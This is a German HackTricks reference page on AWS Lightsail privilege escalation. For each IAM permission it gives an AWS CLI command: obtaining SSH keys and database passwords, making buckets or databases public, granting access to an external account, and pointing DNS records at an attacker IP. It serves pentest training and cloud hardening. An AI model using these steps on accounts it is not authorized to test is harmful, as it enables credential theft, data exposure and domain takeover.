AWS - Lightsail Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Lightsail
Für weitere Informationen über Lightsail siehe:
warning
Es ist wichtig zu beachten, dass Lightsail keine IAM-Rollen des Benutzers verwendet, sondern die eines von AWS verwalteten Kontos, sodass Sie diesen Dienst nicht für Privilegieneskalation missbrauchen können. Allerdings könnten sensible Daten wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden.
lightsail:DownloadDefaultKeyPair
Diese Berechtigung ermöglicht es Ihnen, die SSH-Schlüssel zum Zugriff auf die Instanzen zu erhalten:
aws lightsail download-default-key-pair
Potenzielle Auswirkungen: Sensible Informationen in den Instanzen finden.
lightsail:GetInstanceAccessDetails
Diese Berechtigung ermöglicht es Ihnen, SSH-Schlüssel zu generieren, um auf die Instanzen zuzugreifen:
aws lightsail get-instance-access-details --instance-name <instance_name>
Potenzielle Auswirkungen: Sensible Informationen in den Instanzen finden.
lightsail:CreateBucketAccessKey
Diese Berechtigung ermöglicht es Ihnen, einen Schlüssel zum Zugriff auf den Bucket zu erhalten:
aws lightsail create-bucket-access-key --bucket-name <name>
Potenzielle Auswirkungen: Sensible Informationen im Bucket finden.
lightsail:GetRelationalDatabaseMasterUserPassword
Diese Berechtigung ermöglicht es Ihnen, die Anmeldeinformationen zum Zugriff auf die Datenbank zu erhalten:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Potenzielle Auswirkungen: Sensible Informationen in der Datenbank finden.
lightsail:UpdateRelationalDatabase
Diese Berechtigung ermöglicht es Ihnen, das Passwort zum Zugriff auf die Datenbank zu ändern:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Wenn die Datenbank nicht öffentlich ist, könnten Sie sie auch mit diesen Berechtigungen öffentlich machen mit
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Potenzielle Auswirkungen: Sensible Informationen in der Datenbank finden.
lightsail:OpenInstancePublicPorts
Diese Berechtigung erlaubt das Öffnen von Ports zum Internet.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Potenzielle Auswirkungen: Zugriff auf sensible Ports.
lightsail:PutInstancePublicPorts
Diese Berechtigung ermöglicht das Öffnen von Ports zum Internet. Beachten Sie, dass der Aufruf alle nicht angegebenen geöffneten Ports schließt.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Potenzielle Auswirkungen: Zugriff auf sensible Ports.
lightsail:SetResourceAccessForBucket
Diese Berechtigung ermöglicht es, einer Instanz den Zugriff auf einen Bucket ohne zusätzliche Anmeldeinformationen zu gewähren.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Potenzielle Auswirkungen: Potenzieller neuer Zugriff auf Buckets mit sensiblen Informationen.
lightsail:UpdateBucket
Mit dieser Berechtigung könnte ein Angreifer seinem eigenen AWS-Konto Lesezugriff auf Buckets gewähren oder die Buckets sogar für alle öffentlich machen:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Potenzielle Auswirkungen: Potenzieller neuer Zugriff auf Buckets mit sensiblen Informationen.
lightsail:UpdateContainerService
Mit diesen Berechtigungen könnte ein Angreifer Zugriff auf private ECRs vom Containerdienst gewähren.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Potenzielle Auswirkungen: Sensible Informationen aus privatem ECR abrufen
lightsail:CreateDomainEntry
Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme) oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potenzielle Auswirkungen: Übernahme einer Domain
lightsail:UpdateDomainEntry
Ein Angreifer mit dieser Berechtigung könnte ein Subdomain erstellen und es auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme), oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potenzielle Auswirkungen: Übernahme einer Domain
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.